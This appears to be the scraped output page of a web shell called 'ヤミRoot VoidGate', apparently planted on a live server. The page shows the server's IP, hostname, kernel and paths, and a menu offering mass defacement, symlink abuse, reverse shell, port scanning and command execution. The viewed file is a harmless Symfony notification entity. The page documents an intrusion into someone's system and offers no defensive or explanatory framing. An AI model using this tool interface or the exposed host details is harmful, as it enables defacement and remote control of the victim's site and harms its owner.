ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: NotificationPush.php
<?php namespace App\Entity; use App\Repository\NotificationPushRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use ApiPlatform\Core\Annotation\ApiResource; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=NotificationPushRepository::class) */ class NotificationPush { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $title; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $message; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $image; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $action; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $data; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $actionDestination; /** * @ORM\ManyToMany(targetEntity=FirebaseToken::class, inversedBy="notificationPushes") */ private $firebaseToken; /** * @ORM\Column(type="datetime_immutable") */ private $createdAt; /** * @ORM\Column(type="boolean", nullable=true) */ private $hasBeenSent; public function __construct() { $this->firebaseToken = new ArrayCollection(); $this->createdAt = new \DateTimeImmutable(); } public function getId(): ?int { return $this->id; } public function getTitle(): ?string { return $this->title; } public function setTitle(?string $title): self { $this->title = $title; return $this; } public function getMessage(): ?string { return $this->message; } public function setMessage(?string $message): self { $this->message = $message; return $this; } public function getImage(): ?string { return $this->image; } public function setImage(?string $image): self { $this->image = $image; return $this; } public function getAction(): ?string { return $this->action; } public function setAction(?string $action): self { $this->action = $action; return $this; } public function getData(): ?string { return $this->data; } public function setData(?string $data): self { $this->data = $data; return $this; } public function getActionDestination(): ?string { return $this->actionDestination; } public function setActionDestination(?string $actionDestination): self { $this->actionDestination = $actionDestination; return $this; } /** * @return Collection<int, FirebaseToken> */ public function getFirebaseToken(): Collection { return $this->firebaseToken; } public function addFirebaseToken(FirebaseToken $firebaseToken): self { if (!$this->firebaseToken->contains($firebaseToken)) { $this->firebaseToken[] = $firebaseToken; } return $this; } public function removeFirebaseToken(FirebaseToken $firebaseToken): self { $this->firebaseToken->removeElement($firebaseToken); return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function isHasBeenSent(): ?bool { return $this->hasBeenSent; } public function setHasBeenSent(?bool $hasBeenSent): self { $this->hasBeenSent = $hasBeenSent; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->message; } }
Coded With 💗 by
0x6ick